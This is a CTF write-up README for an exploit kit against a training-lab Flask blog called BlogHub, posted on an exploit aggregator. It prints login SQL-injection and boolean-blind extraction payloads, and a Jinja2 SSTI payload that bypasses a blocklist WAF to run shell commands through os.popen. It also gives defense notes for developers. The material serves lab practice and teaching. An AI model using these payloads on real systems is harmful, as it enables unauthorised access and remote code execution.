Sploitus

Exploit for flagyard-ctf-writeups-

githubexploit Β· 2026-09-02

Exploit Code

README186 lines
## https://sploitus.com/exploit?id=DB3BF645-A77C-5A0B-9955-7DD4509B6390
# BlogHub Exploit Kit (Flagyard Training Labs - Web / Medium / 160 pts)

A clean, reusable rewrite of the exact toolchain that solved BlogHub.
Every script is **self-contained, stdlib-only** (no pip installs) and takes
the **instance URL as the first argument**, so the whole kit works unchanged
against any fresh deployment.

```
python3 .py http://
```

---

## TL;DR - the winning chain

```
register/login oracle ──► backslash login SQLi ──► boolean oracle ──► reflection login
   (recon)                 row id=1 = seed admin     extract random      session.username
                                                     admin username      = admin name
                                                                              β”‚
   flag at /app/flag.txt ◄── RCE (os.popen) ◄── WAF bypass ◄── SSTI β—„β”€β”€β”€β”€β”€β”€β”€β”˜
                                  '_' read from    |attr() concat    post body
                                  (config|list)    instead of        rendered with
                                                   dunder literals   render_template_string
```

| # | Stage | Bug class | Script |
|---|-------|-----------|--------|
| 0 | Fingerprint, route map, username enumeration oracle | recon / info leak | `01_recon_enum.py` |
| 1 | Login bypass to the seeded admin (row `id=1`) | SQL injection (`username='\'`) | `02_login_sqli.py` |
| 2 | Leak the random per-boot admin username | boolean-blind SQLi (302/200 oracle) | `03_extract_admin_user.py` |
| 3 | Bind the leaked name into the session (`/admin` gate) | session username reflection | (built into 04/05/all-in-one) |
| 4 | Confirm SSTI in blog post bodies + map the WAF | SSTI / input filtering | `04_ssti_wafmap.py` |
| 5 | WAF bypass -> `os.popen` RCE -> read the flag | Jinja2 sandbox escape | `05_rce_flaghunt.py` |

**One command does everything:**

```bash
python3 bloghub_pwn.py http://
```

It runs stages 0-5 unattended, prints each stage's evidence, and greps the
RCE output for the flag pattern (`FlagY{...}`). Typical runtime: 2-4 minutes
(the boolean oracle needs ~180 requests at a polite pace).

---

## File map

| File | Purpose |
|------|---------|
| `bloghub_pwn.py` | ALL-IN-ONE: full chain, zero interaction, prints the flag |
| `01_recon_enum.py` | fingerprint + route map + "username taken" enumeration oracle |
| `02_login_sqli.py` | backslash injection payload matrix (decodes sessions for proof) |
| `03_extract_admin_user.py` | binary-search boolean oracle -> seed admin username |
| `04_ssti_wafmap.py` | SSTI confirmation + WAF blocklist mapping (self-authenticates) |
| `05_rce_flaghunt.py` | RCE runner: default flag hunt, or `05_rce_flaghunt.py URL "cmd"` for any command |
| `README.md` | this file |

Scripts 04/05 re-run the full login chain themselves (SQLi -> oracle ->
reflection login), so they never depend on saved cookies or state.

---

## Step-by-step walkthrough (what each stage proves)

### Stage 0 - recon (`01_recon_enum.py`)

* App is Flask; session is a **signed client-side cookie** holding
  `{is_admin, logged_in, user_id, username}`.
* Live routes are exactly: `/  /login  /register  /logout  /blog  /contact
  /about  /admin  /panel` (`/panel` is a decoy that just redirects).
* Registering a name answers `That username is already taken.` for existing
  accounts - a **case-insensitive username enumeration oracle**.

### Stage 1 - backslash login SQLi (`02_login_sqli.py`)

The login query is string-interpolated and the DB interprets backslashes as
escape characters:

```sql
SELECT * FROM users WHERE username='\' AND password=' OR id=1-- -'
                              ^^ \' = escaped quote -> the string literal
                                 keeps going and swallows " AND password="
effective WHERE:  username = "' AND password="  OR  id=1
```

`id=1` is the first row of the table - the **seeded admin**. The server
replies `302` and issues a session containing `"is_admin": true, "user_id": 1`.

### Stage 2 - boolean oracle (`03_extract_admin_user.py`)

`/admin` *also* compares `session.username` with the real admin name, and
that name is **random on every deployment**. The same injection becomes a
YES/NO oracle (302 = true, 200 = false):

```
password = " OR id=1 AND LENGTH(username)>=N-- -"
password = " OR id=1 AND ORD(SUBSTRING(username,P,1))>=C-- -"
```

Binary search: ~6 requests for the length + ~7 per character.

### Stage 3 - reflection login (built into 04/05/all-in-one)

The session stores the **raw username you typed**, not the row's value.
So log in a second time with:

```
username = 
password = "' OR id=1-- -"        ' AND password='' OR id=1-- -'`
-> row 1 matches (`is_admin: true`) **and** `session.username == `
-> the `/admin` gate passes.

### Stage 4 - SSTI + WAF (`04_ssti_wafmap.py`)

The admin landing page (`/home`, POST `title` + `body`) publishes blog posts,
and post bodies are rendered with `render_template_string`:

* `{{7*7}}` renders as `49` on `/blog` - SSTI confirmed.
* `{{ config }}` dumps the Flask config (incl. the static `SECRET_KEY`).
* A WAF inspects the body and answers *"I will not let you ..."* when it sees
  `.popen(`, `.read(`, `url_for`, `get_flashed_messages`, `self.template`,
  literal `__dunder__` words, or literal `'_'` strings.

### Stage 5 - WAF bypass + RCE (`05_rce_flaghunt.py`)

Three tricks compose the final payload:

1. **No literal underscore** - read it out of the config itself:
   `{% set u = (config|list)[i][j] %}{% set d = u ~ u %}`
   (`config|list` repr-prints the config keys; one key contains `_`).
   The script finds `[i][j]` automatically by parsing the rendered repr.
2. **No dunder literals** - concatenate: `config|attr(d~"class"~d)|attr(d~"init"~d)|attr(d~"globals"~d)`
3. **No `.popen(` / `.read(`** - concatenate again:
   `["os"]|attr("po"~"pen")(CMD)|attr("read")()`

Final shape:

```jinja
{% set u = (config|list)[i][j] %}{% set d = u ~ u %}
{{ (config|attr(d ~ "class" ~ d)|attr(d ~ "init" ~ d)|attr(d ~ "globals" ~ d))["os"]
    |attr("po" ~ "pen")("cat /app/flag.txt")|attr("read")() }}
```

Output lands in the post body on `/blog`; the script strips HTML, prints it,
and greps for `FlagY{...}`. On the lab the flag file is `/app/flag.txt`
(the app runs as uid 1000).

---

## Troubleshooting

| Symptom | Meaning / fix |
|---------|---------------|
| `Instance is NOT reachable` | Deployment expired. On the challenge page press **Terminate**, then **Redeploy**, and run the kit with the new URL. |
| `oracle sanity check failed` | The login injection did not fire - confirm stage 2 output manually; make sure you target the lab URL, not the platform site. |
| `SSTI not confirmed` | You may not have the full admin session (stage 3) - the Create form is admin-only. |
| `WAF BLOCKED` on a custom command | Avoid `"` in the command (auto-replaced), avoid `{{`, `}}`, `%}` sequences; keep commands simple. |
| Requests slow / instance crashes | The lab is single-threaded and fragile - keep `PAUSE >= 0.08`, never run parallel floods (a 6-thread burst killed an instance during research). |

## Defense notes (what the developer should fix)

1. Parameterized queries for login (the interpolation + backslash-escaping combo is the root cause).
2. Never store raw user input in the session identity, and authorize on server-side values only (`user_id` -> DB lookup), not on reflected strings.
3. Render user content with a Jinja **SandboxedEnvironment** (or better, a real template engine like Mustache/liquid-style with no code execution) - `render_template_string` on user input is RCE by design.
4. A blocklist WAF on template input is not a mitigation; this challenge is the proof.

---

## Bonus: practice without burning a lab instance

`mock_bloghub.py` is a faithful local replica of the challenge (same vulnerable
login interpolation with MySQL-style backslash semantics, same reflection
session, same WAF blocklist, real Jinja SSTI at render time). Use it to test
the kit, demo the chain, or learn the payloads safely:

```bash
pip install flask            # only dependency
python3 mock_bloghub.py 5099          # terminal 1 (app dir + fake flag auto-created)
python3 bloghub_pwn.py http://127.0.0.1:5099   # terminal 2
```

The mock seeds a random-looking admin as row id=1 and writes a FAKE flag file,
so the entire 5-stage chain (including flag capture) runs end-to-end offline.